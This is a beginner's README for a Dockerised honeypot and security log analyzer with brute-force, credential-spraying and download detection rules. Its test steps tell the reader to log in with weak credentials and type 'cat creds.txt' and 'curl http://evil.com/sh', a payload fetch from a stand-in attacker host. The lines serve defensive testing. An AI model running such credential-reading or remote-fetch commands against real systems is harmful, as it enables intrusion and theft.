This is my first project in Cybersecurity and that i have pushed it on git hub

PLease ignore if any English Grammar mistake or spelling arises in Readme.md

If anytone has only basic knowledge of python , they can understand this code easily as i didn't use high/level like algorithms, ..etc , mostly used lists, set, dictionary , strings ..etc , modules and their built-in-functions like .strip(), .get() .. etc ,

if any errors/bugs arises contact me and if there is any need of upgrade in this project suggest me .

So let's start my project description,

Security Log Analyzer & Deception Honeypot

this project combines honeypot where it acts an bait and traps the attacker in a fake shell and analyzer that watches , checks and pulls the attacks and generate an report based on it . here is how it get it done simple and safe :

1. The Trap ('fake.py' in Docker) : it listen on port 2222 pretending to be an ubuntu server.
2. The Sandbox ('Dockerfile') : Runs the honeypot inside a docker container , so my actual system remain same.
3. The Watcher ('parser.py') : it reads the logs in real time, classifies IP origins (local, private intranet, or external country via Geo-IP), triggers detection rules, flags malware downloads('curl','wget') and writes an report ('report.txt').

What I have built so far :

• Fake shell : traps attackers and logs their keystrokes and shell commands.

• Rules : Detects brute force ('Auth-001'), targeted probing (Auth-002), successfull breaches after failure (Auth-003), and Credentials spraying (Auth-004).

• Geo-IP threat intel : it tells me if an attack is localhost test, internally or externally.

• Live Stream Monitor ('-w') : streams attacks and live it to my terminal whenever they happen.

• Dual log Parser : it reads modern JSON logs ('auth.json') as well as traditional logs ('auth.log')

Files so far

• 'fake.py' : the tcp honeypot server and the ubuntu shell trap.

• 'parser.py' : The analyzer, threat intel enricher , and real-time alert monitor.

• 'Dockerfile' & 'docker-compose.yml' : Sandboxes the honeypot and shares logs with the host.

• 'auth.json' : Structured logs data where it stores every connection, password and shell.

• 'auth.log' : Sample linux syslog file to test regex parsing.

• 'report.txt' : Generated report with timelines, risk scores, and evidence.

• 'honeypot_capture.pcap' : Raw wireshark packet capture proving what crossed the wire on port 2222.

• 'test_parser.py' : checking the detections rules work without any problem with automated unit test

What you need

-Linux -Docker & Docker Compose -'nc' (netcat) to test

How to run it ! (Write all the commands in the terminal )

In Terminal 1 - Start the honeypot and the watcher :

docker compose up -d --build or sudo docker compose up -d --build

python3 parser.py -f auth.json -w

In another Terminal / Terminal 2 - Attack your honeypot :

nc 127.0.0.1 2222 or telnet localhost 2222

try writing wrong passwords or try it with user: admin , password: password123 , once inside write these commands whoami, ls , cat creds.txt , curl http://evil.com/sh and then watch terminal 1 starts alerts in real time !

To run the automated tests :

python3 -m unittest test_parser.py

Package Installation (pip / pipx) :

You can also install this project as a command line tool on your machine:

# Install package locally
pip install .
# Or using pipx
pipx install .

# Run the command from anywhere
security-log-analyzer -f auth.json -w

Where is it stands now

this is in an early stage it's not like an full fledged working SIEM but it works , it's safe inside a Docker.

here this is my first time writing a readme of an project and i tried my level best to explain breifly what every function and modules does in the code .